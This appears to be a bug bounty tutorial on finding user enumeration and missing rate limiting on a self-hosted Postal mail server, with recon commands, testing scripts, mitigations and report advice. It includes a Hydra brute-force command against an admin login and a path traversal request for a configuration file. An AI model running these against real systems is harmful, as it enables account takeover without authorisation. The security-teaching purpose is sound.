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Introduction:
Real‑world security vulnerabilities rarely resemble the clean, isolated challenges of a Capture The Flag (CTF) or a lab environment. In live bug bounty programs, subtle misconfigurations – like inconsistent error messages on a password reset page or the complete absence of login throttling – can expose entire email infrastructures to compromise. This article walks through two critical flaws found on a self‑hosted Postal mail server: user enumeration via response discrepancy and a total lack of rate limiting, demonstrating how methodical recon turns overlooked subdomains into high‑impact findings.
Learning Objectives:
- Identify user enumeration vulnerabilities by analyzing response differences in password reset and login endpoints.
- Test for missing rate limiting and brute‑force protections using automated tools and manual scripts.
- Perform effective subdomain reconnaissance and leverage security.txt metadata to expand the attack surface.
You Should Know:
- Detecting User Enumeration Through Password Reset Response Analysis
User enumeration occurs when an application reveals whether a given email address, username, or account exists in its database – typically through distinct error messages, HTTP status codes, or response times. In this case, the Postal mail server returned “No local user exists with that e‑mail address” for unknown addresses, while legitimate emails triggered a different response (e.g., “Reset link sent”). An attacker can harvest valid email addresses and target them with phishing or credential stuffing.
Step‑by‑step guide to test for user enumeration:
- Capture the password reset request using Burp Suite or OWASP ZAP. For a target like `https://mail.target.com/reset`, send a POST request with a random email.
2. Use `curl` to automate comparison (Linux/macOS):
Request with fake email curl -X POST https://mail.target.com/reset \ -d "[email protected]" \ -v 2>&1 | grep -i "no local user" Request with a likely valid email (e.g., from OSINT) curl -X POST https://mail.target.com/reset \ -d "[email protected]" \ -v 2>&1 | grep -i "reset link"
- Compare response lengths, status codes, and body messages:
curl -s -o /dev/null -w "%{http_code}" -X POST https://mail.target.com/reset -d "[email protected]" curl -s -o /dev/null -w "%{http_code}" -X POST https://mail.target.com/reset -d "[email protected]"
4. Windows PowerShell alternative:
$body = @{email='[email protected]'}
Invoke-WebRequest -Uri 'https://mail.target.com/reset' -Method POST -Body $body | Select-Object -ExpandProperty Content
- Use Burp Intruder with a wordlist of common usernames/emails. Set a grep match for the “no user exists” string – any request that does NOT match indicates a valid account.
What this reveals: A clear distinction between “user not found” and “reset email sent” confirms user enumeration. Remediation requires returning identical generic messages (e.g., “If an account exists, a reset link has been sent”) and implementing timing‑safe responses.
2. Testing for Missing Rate Limiting (Brute‑Force Opportunity)
Rate limiting prevents an attacker from sending an excessive number of login or password reset attempts in a short time. The absence of CAPTCHA, account lockout, or throttling allows unlimited password guesses – catastrophic for a mail server that may host corporate or administrative accounts.
Step‑by‑step guide to verify rate limiting:
- Manual quick test – attempt 10‑15 logins with wrong credentials in rapid succession using a script.
2. Bash one‑liner (Linux):
for i in {1..20}; do curl -X POST https://mail.target.com/login -d "user=admin&pass=wrong$i" -s -o /dev/null -w "%{http_code}\n"; sleep 0.2; done
If all responses return `200 OK` (or a consistent error code like 401) without a single `429 Too Many Requests` or 403 Blocked, rate limiting is missing.
3. Using Hydra for a real brute‑force simulation:
hydra -l admin -P /usr/share/wordlists/rockyou.txt mail.target.com http-post-form "/login:user=^USER^&pass=^PASS^:F=Invalid credentials"
4. Python script to detect throttling:
import requests
url = "https://mail.target.com/login"
payload = {"user": "admin", "pass": "wrong"}
for i in range(50):
r = requests.post(url, data=payload)
if r.status_code == 429:
print("Rate limiting detected after", i+1, "attempts")
break
else:
print("No rate limiting - vulnerable to brute force")
5. Windows PowerShell version:
1..50 | ForEach-Object {
$response = Invoke-WebRequest -Uri 'https://mail.target.com/login' -Method POST -Body @{user='admin'; pass='wrong'}
if ($response.StatusCode -eq 429) { "Rate limited after $_ attempts"; break }
if ($_ -eq 50) { "No rate limiting found" }
}
What this enables: An attacker can brute‑force admin passwords indefinitely. In a mail server, a compromised admin account leads to full email access, password resets for other services, and lateral movement. Mitigation includes implementing login throttling (e.g., 5 attempts per minute), CAPTCHA after 3 failures, and temporary account lockout.
3. Subdomain Reconnaissance: The Goldmine Most Hunters Skip
The original hunter found the vulnerable Postal instances on subdomains that other researchers ignored. Security‑conscious companies often place less‑critical infrastructure on subdomains that do not appear in the main scope, but those subdomains are frequently misconfigured or unpatched.
Step‑by‑step guide to discover and analyze subdomains:
1. Passive enumeration (no direct traffic to target):
Using assetfinder assetfinder target.com | tee subdomains.txt Using subfinder subfinder -d target.com -o subdomains.txt Using crt.sh certificate transparency logs curl -s "https://crt.sh/?q=%.target.com&output=json" | jq -r '.[].name_value' | sort -u
2. Active brute‑force with a wordlist:
Using ffuf ffuf -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-5000.txt -u http://FUZZ.target.com -fc 404
- Check for security.txt on each discovered subdomain – this file often reveals additional scope, contact points, and sometimes hidden endpoints:
while read sub; do curl -s -I "https://$sub/.well-known/security.txt" | head -n1 done < subdomains.txt
-
Use HTTPx to probe live subdomains and collect response metadata:
cat subdomains.txt | httpx -title -tech-detect -status-code -o live_subs.txt
5. Windows alternative (using PowerDNS and Invoke-WebRequest):
Get-Content subdomains.txt | ForEach-Object {
try { $response = Invoke-WebRequest -Uri "https://$_" -Method Head -TimeoutSec 5; Write-Host "$_ - $($response.StatusCode)" }
catch { Write-Host "$_ - down" }
}
Why subdomains matter: Self‑hosted services like Postal, Mailcow, or Roundcube are frequently deployed on mail.target.com, mx.target.com, or webmail.dev.target.com. These are often overlooked in automated scans but can contain the same vulnerabilities as the main domain – sometimes with weaker security controls.
- Exploiting Postal Mail Server Specifics – Version Detection & Defaults
Postal is a full‑featured mail server written in Ruby on Rails. Once you identify a Postal instance (e.g., by browsing to `/` and seeing the Postal login page or by checking `X-Powered-By` headers), you can attempt version‑specific attacks.
Step‑by‑step guide to fingerprint and test Postal flaws:
- Detect Postal version by requesting static assets or API endpoints:
Check for version in CSS/JS comments curl -s https://mail.target.com/assets/application.css | grep -i "postal.version" Use whatweb whatweb https://mail.target.com Look for Postal's default favicon hash curl -s https://mail.target.com/favicon.ico | md5sum
-
Check for known CVEs (e.g., CVE‑2020‑4045 for SSRF, or older Rails vulnerabilities). Searchsploit:
searchsploit postal
-
Enumerate valid users via Postal’s password reset (as shown in section 1). Many Postal instances also expose `/users/sign_in` and `/users/password` with similar enumeration flaws.
-
Test for missing rate limiting on Postal’s admin panel – often located at
/admin. Use Hydra with a list of common admin emails (e.g.,[email protected],[email protected]). -
Attempt to read configuration files if the server allows path traversal or local file inclusion (uncommon but worth testing):
curl -s https://mail.target.com/../../../../config/postal.yml
What this yields: Mail servers hold sensitive data and act as a trust anchor for password resets. Compromising a self‑hosted Postal instance can lead to domain‑wide email control, certificate issuance via ACME (if integrated), and pivoting to internal networks.
- Mitigation Strategies for Developers – Code and Infrastructure Hardening
Preventing user enumeration and brute force requires changes at the application, API gateway, and network levels.
Step‑by‑step guide to implement effective mitigations:
- Standardize error messages – never differentiate between “user not found” and “wrong password”. Use generic responses:
In a Rails/Postal context def send_reset_link user = User.find_by(email: params[:email]) user&.send_reset_instructions render json: { message: "If an account exists, a reset link has been sent" } end -
Add rate limiting at the web server layer (nginx example):
limit_req_zone $binary_remote_addr zone=login:10m rate=5r/m; location /login { limit_req zone=login burst=3 nodelay; limit_req_status 429; proxy_pass http://postal_backend; } -
Implement CAPTCHA after a small number of failures – use reCAPTCHA or hCaptcha on login and reset pages.
-
Introduce progressive delays – after 3 failed logins, add a 5‑second delay; after 10, lock the account for 15 minutes. Use `fail2ban` for SSH‑style protection:
/etc/fail2ban/jail.local [postal-login] enabled = true port = http,https filter = postal-auth logpath = /var/log/postal/production.log maxretry = 5 bantime = 600
-
Deploy a Web Application Firewall (WAF) rule to block suspicious IPs after high request rates. Cloudflare example:
curl -X POST "https://api.cloudflare.com/client/v4/zones/ZONE_ID/rate_limits" \ -H "Authorization: Bearer TOKEN" \ -H "Content-Type: application/json" \ -d '{"action":{"mode":"block"},"match":{"request":{"methods":["POST"],"url":"/login"}},"period":60,"threshold":10}'
For Windows / IIS environments: Use Dynamic IP Restrictions or Azure Front Door’s rate limiting policies. Equivalent PowerShell to add IIS rate limiting via Add-WebConfigurationProperty.
- Writing Professional Bug Bounty Reports That Get Paid
Finding vulnerabilities is only half the battle. A well‑structured report increases credibility, speeds up remediation, and ensures clear communication.
Step‑by‑step guide to report structure:
- and severity – e.g., “User Enumeration on Password Reset Endpoint (Medium) + Missing Rate Limiting (High) on Postal Mail Server”
-
Description – 2‑3 sentences explaining the impact (e.g., “An attacker can enumerate valid emails and brute‑force admin credentials indefinitely.”)
-
Steps to reproduce – numbered, reproducible steps with exact requests:
</p></li> <li>Navigate to https://mail.target.com/users/password</li> <li>Enter '[email protected]' → response: "No local user exists"</li> <li>Enter '[email protected]' → response: "Reset link sent"</li> <li><p>Repeat step 3 without any delay or CAPTCHA for 50+ attempts
-
Proof of Concept (PoC) – include the `curl` or Python script used to demonstrate the flaw.
-
Impact analysis – realistic business impact (e.g., account takeover, internal email compromise, phishing enablement).
-
Remediation – actionable fixes (see Section 5). Offer to validate the fix after deployment.
-
Attachments – screenshots, video, or HTTP request/response pairs copied from Burp Suite.
Pro tip: Always check the program’s disclosure policy and existing reports using the bug bounty platform’s search to avoid duplicates.
- Automating Checks for User Enumeration and Rate Limiting with Bash & PowerShell
Save time across multiple targets by automating the two main checks described in this article.
Bash script (Linux/macOS) – `test_login_flaws.sh`:
!/bin/bash
TARGET=$1
EMAIL_LIST=$2
echo "[] Testing user enumeration on $TARGET"
while read email; do
RESP=$(curl -s -X POST "$TARGET/reset" -d "email=$email" -w "%{http_code}" -o /dev/null)
BODY=$(curl -s -X POST "$TARGET/reset" -d "email=$email")
if [[ $BODY != "No local user exists" ]]; then
echo "[!] Potential valid user: $email (HTTP $RESP)"
fi
done < $EMAIL_LIST
echo "[] Testing rate limiting"
for i in {1..30}; do
STATUS=$(curl -s -X POST "$TARGET/login" -d "user=admin&pass=wrong$i" -w "%{http_code}" -o /dev/null)
if [[ $STATUS == "429" ]]; then
echo "[+] Rate limiting active after $i attempts"
break
fi
if [[ $i == 30 ]]; then
echo "[!] No rate limiting detected - vulnerable to brute force"
fi
done
PowerShell script (Windows) – `Test-LoginFlaws.ps1`:
param($Target, $EmailFile)
Write-Host "[] Testing user enumeration on $Target"
Get-Content $EmailFile | ForEach-Object {
$email = $_
$body = @{email=$email}
$response = Invoke-WebRequest -Uri "$Target/reset" -Method POST -Body $body
if ($response.Content -notmatch "No local user exists") {
Write-Host "[!] Potential valid user: $email"
}
}
Write-Host "[] Testing rate limiting"
for ($i=1; $i -le 30; $i++) {
$body = @{user="admin"; pass="wrong$i"}
try {
$response = Invoke-WebRequest -Uri "$Target/login" -Method POST -Body $body -ErrorAction Stop
if ($response.StatusCode -eq 429) { Write-Host "[+] Rate limiting active after $i attempts"; break }
} catch { }
if ($i -eq 30) { Write-Host "[!] No rate limiting detected" }
}
What Undercode Say:
- Reconnaissance trumps automation – a simple `security.txt` check and manual observation of subdomains uncovered more than any vulnerability scanner could. The most valuable findings often come from reading and curiosity, not from running a tool list.
- Medium severity flaws + professional reporting = high impact – User enumeration and missing rate limiting are often classified as medium or low severity, but when combined on a mail server they become a critical chain. Clear documentation and reproducible steps build trust with security teams and increase bounty payouts.
Prediction:
As bug bounty programs mature, self‑hosted and edge services (mail servers, VPN portals, internal wikis) will become primary targets because they are frequently forgotten during security audits. AI‑driven recon tools will soon automate subdomain discovery and fingerprinting, but the human ability to contextualize – like noticing that a password reset response leaks user existence – will remain the deciding factor. Organisations that fail to implement basic rate limiting and generic error handling on their email infrastructure will face credential stuffing attacks at scale, leading to account takeovers and business email compromise incidents within the next 12 months.
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Reported By: Rishurana2867 Bugbounty – Hackers Feeds
Extra Hub: Undercode MoN
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